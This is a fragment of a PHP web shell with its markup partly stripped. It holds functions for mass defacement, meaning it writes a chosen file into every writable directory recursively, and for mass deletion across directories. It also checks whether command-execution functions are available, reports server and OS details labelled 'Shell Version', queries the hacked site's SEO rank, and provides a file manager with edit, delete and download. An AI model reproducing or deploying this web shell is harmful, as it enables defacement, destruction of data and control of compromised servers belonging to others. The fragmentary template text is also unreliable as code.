" . $perm . "
"; } } function r($dir, $perm) { if (!is_readable($dir)) { return "" . $perm . "
"; } else { return "" . $perm . "
"; } } function randomagent() { $useragent[] = 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.5; zh-cn; HTC_IncredibleS_S710e Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.4; fr-fr; HTC Desire Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile myTouch 3G Slide Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; ko-kr; LG-LU3000 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; de-de; HTC Desire Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; de-ch; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.2; fr-lu; HTC Legend Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.2; en-sa; HTC_DesireHD_A9191 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.2.1; fr-fr; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.2.1; en-gb; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.2.1; en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $getuseragent = array_rand($useragent); return $useragent[$getuseragent]; } function massdeface($dir, $file, $filename, $type = null) { $scandir = scandir($dir); foreach ($scandir as $dir_) { $path = "$dir/$dir_"; $location = "$path/$filename"; if ($dir_ === "." || $dir_ === "..") { file_put_contents($location, $file); } else { if (is_dir($path) and is_writable($path)) { echo $location . PHP_EOL; file_put_contents($location, $file); if ($type === "-alldir") { massdeface($path, $file, $filename, "-alldir"); } } } } } function massdelete($dir, $filename) { $scandir = scandir($dir); foreach ($scandir as $dir_) { $path = "$dir/$dir_"; $location = "$path/$filename"; if ($dir_ === '.') { if (file_exists("$dir/$filename")) { unlink("$dir/$filename"); } } elseif ($dir_ === '..') { if (file_exists(dirname($dir) . "/$filename")) { unlink(dirname($dir) . "/$filename"); } } else { if (is_dir($path) and is_writable($path)) { if (file_exists($location)) { print "[ DELETED ] " . $location . PHP_EOL; unlink($location); massdelete($path, $filename); } } } } } function perms($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } function getexist() { if (function_exists('exec')) { $disable = 'Enable'; } else if (function_exists('shell_exec')) { $disable = 'Enable'; } else if (function_exists('system')) { $disable = 'Enable'; } else if (function_exists('passthru')) { $disable = 'Enable'; } else { $disable = 'Disable'; } return $disable; } function seorank($url) { $setopt = array( CURLOPT_URL => 'https://www.checkmoz.com/bulktool', CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => "getStatus=1&siteID=1&sitelink=$url&da=1&pa=1&alexa=1" ); $ch = curl_init(); curl_setopt_array($ch, $setopt); return curl_exec($ch); curl_close($ch); } function getact($dir, $file, $label) { ?> $disable" : 'NONE'; $os = substr(strtoupper(PHP_OS), 0, 3) === "WIN" ? "Windows" : "Linux"; $checkrdp = ($os !== 'Windows' && getexist() !== 'Disable') ? "Can't Create RDP" : 'Vuln To Create RDP'; $rank = seorank($_SERVER['SERVER_NAME']); $getrank = preg_match_all('/(.*?)<\/td>/', $rank, $get); $check = preg_replace('/Shell Version : = version ?>
Rank Alexa : = $check[4] ?> DA : = $check[2] ?> PA : = $check[3] ?>
OS : = $os ?>
RDP : = $checkrdp ?>
PHP Version : = PHP_VERSION ?>
Software : = $_SERVER['SERVER_SOFTWARE'] ?>
Information System : = php_uname() ?>
Disable Function : = $disable ?>
| Name | Filetype | Perm | Option |
|---|---|---|---|
| = $href ?> | = $dtype ?> | = w("$dir/$direc", perms("$dir/$direc")) ?> | = $act_dir ?> |
| = $i ?> ">= $file ?> | = $ftype ?> | = w("$dir/$file", perms("$dir/$file")) ?> | ">edit | ">rename | ">delete | ">download |